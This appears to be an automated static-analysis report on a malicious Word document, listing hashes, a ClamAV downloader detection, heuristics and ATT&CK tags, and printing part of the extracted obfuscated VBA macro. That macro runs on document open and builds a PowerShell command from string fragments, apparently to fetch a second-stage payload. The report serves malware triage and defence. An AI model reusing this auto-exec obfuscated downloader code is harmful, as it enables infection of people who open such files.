Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2bb88c934e3232b…

MALICIOUS

Office (OLE)

315.5 KB Created: 2018-07-13 11:23:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: e695f9b30605a8e8484612a4f90d3224 SHA-1: 069b10c19656b72935d5f4e569d36b905f2f6067 SHA-256: d2bb88c934e3232b3aff7f12bbdde3389320eed32a33fa8ab6637e47e90ce216
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'Document_open' macro triggers a 'Shell()' call, indicating an attempt to execute external commands. This is further supported by the ClamAV detection of 'Doc.Downloader.Valyria-6805842-0', suggesting the macro's purpose is to download and execute a secondary payload. No specific family could be identified.

Heuristics 6

  • ClamAV: Doc.Downloader.Valyria-6805842-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6805842-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45123 bytes
SHA-256: 73a0d69f9296eb300279dca7bc7cbc1adaaced04bb12656749c80c8b69077cf6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jUpqTiN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   LmVHl = (AzNSUD / CdJzXK - (59839 + zzIrjL - 31354 * GhdLo * 48139 - 33564 + 38077 - JocDrf))
   iKcHXD = 35691 + XkuaHO - (LqfnVa * HXVYp / svpEFJ - SjimK)
   PaXjpB = 85286 + JOpMQF - (kjGlr * AdMpKN / CsGRr - QkslRj)
   qUztdc = 16443 + dRQvlB - (nnzLB * LpBHP / wnvWJu - jvnIJE)
   ObUnVT = 65746 + QrWuH - (oiEkS * iZLwv / Kijnkw - VwdNG)
   QwrTRD = 64912 + bjoas - (ivmOwM * huGBL / IAioG - JvrKn)
AzTsWQiOOh = Application.Run("lISNzwzFjmZ", "" + VWQkBnjult + ODEmzOhA + urmjzH + bQjnjcNJ + EGDrcUwBf + BMXhiqltlt + knsmlMFcCB + iRrsrcjLF + wksLU + GmVzRYaZOW + jBWnGL + LDvokXwEur + hAJUf + TrIItzqVMma + tpQYsnJzSdGYi)
   LVzwkd = 28959 + CoCiTM - (AKcZb * MpOwX / AOBjOM - Krpbk)
End Sub


Attribute VB_Name = "HOjpEpnwcww"
Function urmjzH()
On Error Resume Next
RtHpl = Dcnzq / 9185 + 25566 * Amlmo / WJrMi / jIkwiq * 621 + fjLkTD - (80771 - 70880 - iOlHzO + mOwFrH)
   snJLUB = JZTjmn / jqjjwE / 27747 + OEGao + (iTdLR * FLqtL * 69371 + VRYTEX) / (WfdYw * ZSZEFt - ciFqU - ObXAm)
ALzVuTUlr = "" + mSuroUAE + TbBSlclUMzwrk + "pOw" + MQsurXiPdjkvtA + hdIuNkvMd + "ERSh" + pwJvhAvcEIKmS + XlAjsTCi + "EL" + bzibUfQlj + TlDuwYFFX + "L   " + FBMJLzNUmPuhF + AjctAjAu + Chr(34) + " " + zluuwdsWlujOLT + PCCZDzulXW + "\" + Chr(34) + qGEHJJOLTZp + LTFfmYJ + " $" + TzsdwzrIXaA + ipZFBEIEqMP + "( " + ioGlwTCNnHPfN + KBPmmfoPGj + "SE" + SYclcFD + ClcjMSr + "t  " + Znpouozd + pZzEbOkp + "'OFs"
SURJf = tJjjip - 46122 + NPZYcr * izVHDO / (cZCEAc * dSIou)
   KYLzr = CwrzGL - 44232 + pGTOnE * mowjRU / (GHUGqP * aHrolA)
   naKuR = QnFaN - 95587 + wGkPdd * nwTqjd / (jARbd * NVzcuX)
zNGHnU = "" + XHaFqubONYrZn + BbSthHjiovOjwR + "' ''" + dlqcOjwYFAKp + ChJXGNcT + ")\" + Chr(34) + rdlKbKizdqO + shVdtojzqzftja + Chr(43) + "[sT" + VFJVKkku + uVNLquOkQplkii + "rIN" + AfGRvkFmHkES + wapwtLji + "G]" + ivJkZlXflbkF + BKQaDFqvwI + "( (" + vllYzVXV + aUNWNYhKXrlSvj + "36 " + bBuiwBqN + tMcOhTkCkvNh + ", 1"
hisrpb = owjTz - 77809 + tSzuz * DcCjk / (EMmuis * RwKIV)
   hmTLsj = LRNBRm - 85923 + bsHuz * ftBNw / (uIpLSj * nupwYB)
   OolCZ = qBipuW - 51413 + CYizj * fVhJJR / (twwwtI * UIQooN)
vmfSzX = "" + UtfwiwmBWAiEn + jJGqXoB + "13," + btXDjKcmpMijXk + SKPtEnQ + "98" + dzOSkDSrhXpbjS + rOaAVJYEoE + ", 1" + IsncpIFKNTFI + pNNZjsDVMYqiY + "12 ," + JdfZjjpkMma + KYJRjcU + "61 ," + OVlimfOmHjljD + ijJzcAnJfA + " 110" + PYwwzPSOKowwJ + iqbTHhjiAT + ",10" + rbMGhbqzNInm + bPulMqHaJSEh + "1 " + fpwcihbn + QUSWLWCozWGU + ", 11" + HibQRtBAY + YKLImKoQMV + "9,"
TSJaDE = (4055 * WABwlj) + (Rqbjk * rnnKr / 46371 + nIiPi + (naFin * sAhzs))
   kOnQP = jALBjV - 464 + KVFjQ * jCnLrj / (LSDbt * HqBid)
   riIWb = (80934 * jzSLj) + (wohbb * jUViH / 50310 + GtPJqb + (zEAuQk * YjMzs))
usKvSiVXz = "" + KPVXIKjbf + LfrJORmRj + "45, " + LHoLsGKnuqsGA + LGUVMukTbrBq + "111," + GCQUVEOjwSaQ + ZTZqlbGfzOk + " 9" + oMTqQrFnocm + YbJBvvDJtI + "8," + FrcbEBkc + WdcJZmnlrm + " 1" + CiVvTppSv + fKzcMja + "06 ," + rwFjZlV + IRfznpwFJi + " 10" + KiRcwzaJbBQl + DYoVhTZwmn + "1,9" + WJiHarGQjUn + muGuGAuqNlZ + "9 ," + AbNOriHQcRfUb + stjlksvZSCj + " 116" + pJYEqmqfCSc + MKdbaibPzUBojv + " ,32" + vMLshbT + doizpbHcmfl + " , 7"
cBKKso = (44176 * JrldH) + (QQQlr * AwptQH / 86398 + LtPTFE + (JhWjiV * TzwWi))
   MWuuLq = (60845 * Rukvc) + (QcSXD * HjtCM / 29821 + cswuZX + (zWUYu * EzPcw))
ssKktYcsTN = "" + DUiwizj + sivzCTVzLYY + "8 , " + HucpRJTQDiWlZ + vuXUWtcqz + "101" + iucnKTz + kVphaJMo + ", " + NdvDEQAEiz + daQiZoQ + "11"
mPLha = (10543 * uNhnma) + (XiqYW * PQKjj / 84388 + RvjYY + (VbOjVi * KKURs))
   YswiP = (87878 * nVEiB) + (qYziJP * EaJwV / 89395 + zFwso + (oqZzA * iaiFJ))
EZUDwwV = "" + UlLqIdQwwizNVi + ZMqntAzAdAka + "6 ," + AtCwrOtFjL + sqCnnwRzjwPfC + " 46 "
LNHspc = (56156 * DLWqvo) + (cfqDI * wpNnJ / 42548 + DiWwXb + (rc
... (truncated)

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